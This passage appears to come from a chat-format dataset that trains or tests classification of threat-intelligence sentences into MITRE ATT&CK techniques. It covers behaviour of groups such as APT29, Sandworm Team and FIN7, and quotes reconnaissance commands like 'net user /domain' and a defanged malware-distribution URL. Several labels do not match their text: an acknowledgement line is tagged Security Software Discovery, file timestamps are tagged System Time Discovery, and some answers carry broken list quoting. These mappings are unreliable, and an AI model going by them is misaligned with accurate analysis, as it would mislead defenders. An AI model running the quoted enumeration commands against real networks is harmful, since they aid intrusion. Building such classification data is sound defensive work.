            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We would like to thank White-Hat, Tom Lancaster of Palo Alto Networks, Michael Yip of Stroz Friedberg, security researcher Marcus, and other security researchers and organizations who shared information and provided feedback"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "scripts save memory dump data into a specific directory on hosts in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown can download additional software including Cobalt Strike from servers on the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Build Tool Most of CARBANAK’s strings are encrypted in order to make analysis more difficult"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT has command line access."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 routinely removed their tools, including custom backdoors, once remote access was achieved. APT29 has also used SDelete to remove artifacts from victims."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can search for anti-virus products on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has created a scheduled task named “AdobeFlashSync” to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neither this new domain nor the IP it resolves to have been observed in the past, indicating that the sample in Table 3 may be associated with a newer campaign"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT has a module for performing remote desktop access."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the users of the system."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team used the \"sp_addlinkedsrvlogin\" command in MS-SQL to create a link between a created account and other servers in the network."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The default case when the service tag is empty allows the malware to treat the contents of the response from the C2 as a command to execute via the Go library functions os.exec.Command or os.exec.Start. The format of the received command is checked against the below regex pattern for validity before executing and the command is read from the body of the message received from the C2"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 injects its malware variant, ROKRAT, into the cmd.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "an executable (also compressed, i.e. zip, rar or cab archive), sometimes pretending to be a different file format, like Dyreza - a document (commonly PDF or some MS Office format ) – like this Dridex downloader"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the strings and settings were encrypted and obfuscated"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover the system time by using the \"net time\" command."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder has the ability to use HTTP in communication with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY uses PowerShell to execute various commands, one to execute its payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used various forms of spearphishing attempting to get a user to click on a malicous link."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has displayed fake forms on top of banking sites to intercept credentials from victims."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers product names from the Registry key: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName and the processor description from the Registry key HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor has been signed with valid certificates to evade detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. The tactic also serves to mask malicious C2 and exfiltration traffic and make it appear innocuous"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper may attempt to establish persistence via the \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\" run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avira’s Advanced Threat Research team, has been tracking Mustang Panda APT for a while. According to Avira’s telemetry data, Mustang Panda mostly targets Asia-Pacific (APAC) countries and uses Cobalt or PlugX as payload"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1049 - System Network Connections Discovery', 'T1560.001 - Archive Collected Data: Archive via Utility', 'T1057 - Process Discovery', 'T1016 - System Network Configuration Discovery', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. It places the resulting executable in an existing directory and creates a scheduled task that will launch it every 10 minutes. As can be seen in Figure 6, the decoded source code still has comments in it, illustrating the apparent sloppiness of Gamaredon’s operators"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spear phishing emails and attached malicious macro documents typically have geopolitical themes"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can collect the OS, and build version on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, on that same url, http://mdzz2019.noip[.]cn:3654/ is used to distribute more versions of this Gh0stRAT sample, along with a .zip file containing ASPXSpy, a web shell"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team used UPX to pack a copy of Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has run net user, net user /domain, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to get account listings on a victim."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can use Native API to create a new process and to start services."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot has the ability to execute arbitrary commands via `cmd.exe`."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver installs itself as a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap uses HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-1314 actors spawned shells on remote systems on a victim network to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MESSAGETAP uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP and finally extracts SMS message data and routing metadata."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec &amp; WMI to further move through the environment. This feature explains why we discovered several samples with different sets of credentials that were collected from previously infected systems. Dropped Files . Browser Credential Stealer . Olympic Destroyer drops a browser credential stealer. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. This step is executed to ensure that file recovery is not trivial - WBAdmin can be used to recover individual files, folders and also whole drives so this would be a very convenient tool for a sysadmin to use in order to aid recovery. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: \"Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. categories . Subscribe To Our Feed . Blog Archive . - - - - - - - - - - - - ▼ February (14) CannibalRAT targets Brazil Who Wasn’t Responsible for Olympic Destroyer"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can enumerate and collect the properties of domain computers, including domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can encrypt and store on disk collected data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "replaces the Sticky Keys binary C:\\Windows\\System32\\sethc.exe for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has manipulated the time of last access to files and registry keys after they have been created or modified."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can overwrite sectors of a victim host's hard drive at periodic offsets."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox can enumerate attached drives."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After using RTF files, the group started using self-extracting (SFX) archives that use common document icons in an attempt to further mislead their victims. It was briefly documented by Threatbook (in Chinese). When run, these self-extracting RAR files drop and execute DLL files (with a .ocx extension) with the final payload being the previously documented {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll. This section will describe the technique and what they have altered to achieve their goal"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What does the Poseidon Group do? What happens after a target machine is infected? Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has performed file deletion to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attempt to get detailed information about the operating system and hardware, such as version, patches, hotfixes, service packs, and architecture (System Information Discovery [T1082]) - Enumerate files and directories or search in specific locations of a host or network share for particular information within a file system (File and Directory Discovery [T1083]) - Get a list of security software, configurations, defensive tools, and sensors installed on the system (Software Discovery: Security Software Discovery [T1518.001]) - Procure information about running processes on a system to understand standard software running on network systems (Process Discovery [T1057]) - Identify primary users, currently logged in users, sets of users that commonly use a system, or active or inactive users (System Owner/User Discovery [T1033]) - Enumerate browser bookmarks to learn more about compromised hosts, reveal personal information about users, and expose details about internal network resources (Browser Bookmark Discovery [T1217]) - Look for information on network configuration and system settings on compromised systems, or perform remote system discovery (System Network Configuration Discovery [T1016]) - Interact with the Windows Registry to gather information about the system, configuration, and installed software (Query Registry [T1012]) - Get a list of open application windows to learn how the system is used or give context to data collected (Application Window Discovery [T1010]) - Attempt to get a listing of local system or domain accounts in the compromised system (Account Discovery [T1087]) - Obtain a list of network connections to and from the compromised system or remote system by querying for information over the network (System Network Connections Discovery [T1049"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1033 - System Owner/User Discovery', 'T1082 - System Information Discovery', 'T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY has the ability to set a Registry key to run a cmd.exe command."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can can remove all system restore points."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used remote administration tools or remote industrial control system client software to maliciously release electricity breakers."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can detect system information--including disk names, total space, and remaining space--to create a hardware profile GUID which acts as a system identifier for operators."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury can list directory entries."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle can collect system profile information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can identify logged in users across the domain and views user sessions."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use PowerSploit's \"Invoke-TokenManipulation\" to manipulate access tokens."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Regin malware platform supports many standard protocols, including SMB."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some of the executables pack the collected data into a password protected archive and save it to the disk, while others send the data to the C&amp;C server directly"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These four were then all modified on the same date and time on October 13, 2018 08:21"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can use HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the documents is called “همبستگی عاشقانه با عاشقان آزادی2.doc” (translates from Persian as “Romantic Solidarity With Lovers of Freedom2.doc”) and contains malicious macros that are accompanied by an odd decoy message attempting to convince the victim to enable its content"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used LinkedIn to send spearphishing links."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has enumerated running processes on a compromised host to determine if it is running under the process name `dfrgui.exe`."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
